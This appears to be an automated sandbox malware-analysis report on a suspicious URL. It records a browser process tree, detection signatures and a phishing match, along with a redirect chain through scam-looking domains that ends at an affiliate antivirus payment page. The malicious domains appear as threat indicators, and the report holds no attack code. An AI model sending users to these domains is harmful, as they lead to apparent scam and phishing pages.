Edit tour

Windows Analysis Report
https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845

Overview

General Information

Sample URL:	https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845
Analysis ID:	1525100
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Performs DNS queries to domains with low reputation

Phishing site detected (based on image similarity)

Connects to several IPs in different countries

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

Found iframes

HTTP GET or POST without a user agent

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1920,i,12280442892699311904,4794967593224080757,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Phishing site detected (based on image similarity)

Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411

Matcher: Found strong image similarity, brand: PAYPAL

Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://id.mcafee.com/authorize?client_id=Rrg3qpQF8HCcr81hJ2dbBHuVyJXLXYpJ&audience=https%3A%2F%2Fapi.mcafee.com&redirect_uri=https%3A%2F%2Fwww.mcafee.com&timeoutInSeconds=2&scope=openid%20profile%20email&response_type=code&response_mode=web_message&state=UVJVQW5WTENEUlhqWi1LRlRtNzZ%2BLkIwcGhucHdmQnlpd0Y1OXN3TXBWOA%3D%3D&nonce=RFNfYmthbFhmRmhzZkIzdGRsOTBBWE5UcGdJZFZzYllkRnVfVnFoUC5GSQ%3D%3D&code_challenge=G0iY9bpQhMrF7vk7kWUrtw-GMFiBAIZ2tC1XQpK2aWU&code_challenge_method=S256&prompt=none&auth0Client=eyJuYW1lIjoiYXV0aDAtc3BhLWpzIiwidmVyc2lvbiI6IjEuMjIuMSJ9
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793142&cv=11&fst=1727968793142&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793173&cv=11&fst=1727968793173&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793182&cv=11&fst=1727968793182&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793197&cv=11&fst=1727968793197&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793205&cv=11&fst=1727968793205&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://mcafeeinc.demdex.net/dest5.html?d_nsid=undefined#https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793142&cv=11&fst=1727968793142&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793173&cv=11&fst=1727968793173&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793182&cv=11&fst=1727968793182&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793197&cv=11&fst=1727968793197&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/740246542?random=1727968793205&cv=11&fst=1727968793205&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: Iframe src: https://mcafeeinc.demdex.net/dest5.html?d_nsid=undefined#https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411

Source: https://ahchoadeegu.homes/?u=k8pp605&o=c9ewtnr&t=8845	HTTP Parser: No favicon
Source: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369	HTTP Parser: No favicon
Source: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369	HTTP Parser: No favicon
Source: https://k8cpmrdof.thebigbonusleader.xyz/vw92awy?m=1&t=pshtbnewlink1208_redirectUrl_body	HTTP Parser: No favicon
Source: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=	HTTP Parser: No favicon
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No favicon
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No favicon
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No favicon
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No favicon
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No favicon

Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No <meta name="author".. found
Source: https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411	HTTP Parser: No <meta name="author".. found
